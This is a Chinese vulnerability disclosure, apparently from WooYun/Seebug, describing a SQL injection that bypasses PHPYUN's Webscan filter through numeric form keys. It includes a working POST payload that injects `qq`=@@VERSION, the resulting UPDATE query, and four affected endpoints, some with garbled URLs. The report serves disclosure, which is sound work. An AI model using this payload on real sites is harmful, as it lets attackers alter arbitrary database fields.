### 简要描述:
PHPYUN最新版Webscan绕过注入四处(可修改任意字段值)
### 详细说明:
漏洞参考:
[WooYun: PHPYUN最新版Webscan绕过注入四处(可遍历全站信息,无需登录)](http://www.wooyun.org/bugs/wooyun-2015-0126835)
看看 站点是怎么修补的:
```
function FormatValues($Values){
$ValuesStr='';
foreach($Values as $k=>$v){
if(preg_match("/^[a-zA-Z0-9_]+$/",$k))
{
if(preg_match('/^[0-9]+$/', $k)){
$ValuesStr.=','.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}
```
修补方案就是,设计缺陷为:
1.preg_match("/^[a-zA-Z0-9_]+$/",$k) 让这个成立
2. if(preg_match('/^[0-9]+$/', $k)){
$ValuesStr.=','.$v;
当key 为纯数字组成的时候,直接连接后面的值 这个就存在很大的风险了
发布一个微简历
[<img src="https://images.seebug.org/upload/201508/201421383889c6511300249c7fb7ca8bbe4c8db3.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/201421383889c6511300249c7fb7ca8bbe4c8db3.png)
我的简历密码是admin
然后记住这个id
[<img src="https://images.seebug.org/upload/201508/201422177426b8db3f28d3f0de862f76ce5a1a48.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/201422177426b8db3f28d3f0de862f76ce5a1a48.png)
访问url:
http://localhost/phpyun/tiny/index.php?admin_dir=admin
postdata:
username=test123&sex=7&exp=18&job=ccc&mobile=15802991419&qq=11111111&123455=`qq`%3d@@VERSION where `id`=1%23&password=admin&authcode=ag31&id=1&submit=%B7%A2%B2%BC
抓取的sql语句为:
UPDATE `phpyun_resume_tiny` SET `username`='test123',`sex`='7',`exp`='18',`job`='ccc',`mobile`='15802991419',`qq`='11111111',`qq`=@@VERSION where `id`=1#,`status`='1',`login_ip`='',`time`='1440051620' WHERE 1 and `id`='1'
查看这个简历:
[<img src="https://images.seebug.org/upload/201508/2014233322ff8e4b373f0fad8f8891ac8e81ce9c.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/2014233322ff8e4b373f0fad8f8891ac8e81ce9c.png)
其他漏洞点原理一模一样,都可以修改任意字段
1.http://localhost/phpyun40https://images.seebug.org/upload/tiny/index.php?admin_dir=admin
2.http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=index&m=friend&a=saveinfo
3.http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
4.http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
原理参考最上面的链接就好
### 漏洞证明:
暂无评论